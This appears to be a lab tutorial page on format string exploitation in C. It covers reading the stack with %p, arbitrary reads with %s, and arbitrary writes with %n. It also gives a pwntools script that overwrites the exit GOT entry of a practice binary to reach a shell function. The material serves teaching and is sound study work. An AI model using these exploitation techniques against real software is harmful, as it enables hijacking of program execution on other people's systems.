🎯 Lab Objectives

  • Identify format string vulnerabilities in C source code
  • Use %x/%p to read values off the stack
  • Find the offset of your own input on the stack
  • Leak canaries and libc addresses using %s
  • Perform an arbitrary write using %n
  • Overwrite a GOT entry to redirect execution

Topics Covered

  • Printf format specifiers and the stack layout
  • %x/%p for sequential stack reads
  • %s for arbitrary address dereference
  • %n for arbitrary writes (bytes written counter)
  • GOT overwrite technique
  • fmtstr_payload automation with pwntools

The Vulnerability

// Vulnerable code pattern
char buf[256];
read(0, buf, 256);
printf(buf);     // FORMAT STRING BUG — user controls the format string
// Correct usage: printf("%s", buf)
💡

When the format string is attacker-controlled, every %x, %s, or %n reads from or writes to the stack at the attacker's direction.

Reading the Stack

# Send format specifiers — they read consecutive stack values
python3 -c "print('%p.'*20)" | ./vuln
# Output: 0xf7abc123.0x1.0xff8a1234.0x41414141...

# Direct parameter access (faster)
echo "%7\$p" | ./vuln   # read the 7th argument directly

# Find where your input lands on the stack
python3 -c "print('AAAA' + '.%p'*20)" | ./vuln
# Find 0x41414141 in output — that index is your offset

Arbitrary Read with %s

# %s dereferences a pointer as a string — put the target address on the stack
# If offset is 7 and address is 0x804a010:
python3 -c "
import struct
addr = struct.pack('<I', 0x804a010)
print(addr + b'%7\$s')
" | ./vuln

Arbitrary Write with %n

# %n writes the number of bytes printed so far to the address on the stack
# This lets you write any 4-byte value to any writable address

# Manual approach — pad output to desired value, then write
# To write 0x41 (65) to address 0x804a020:
# python3 -c "print(struct.pack('<I', 0x804a020) + '%61x' + '%7\$n')"
# (4 bytes from address + 61 padding chars = 65 total bytes printed)

pwntools fmtstr_payload

from pwn import *

elf = ELF('./vuln')
p   = process('./vuln')

# Overwrite exit@GOT with address of shell()
# fmtstr_payload(offset, {write_addr: value_to_write})
payload = fmtstr_payload(7, {elf.got['exit']: elf.sym['shell']})
p.sendline(payload)

# Next call to exit() will jump to shell() instead
p.interactive()
✅

Lab Complete! You can now exploit format string bugs to read memory, defeat stack canaries, and redirect code execution via GOT overwrites.

Sign into track progress and send feedback.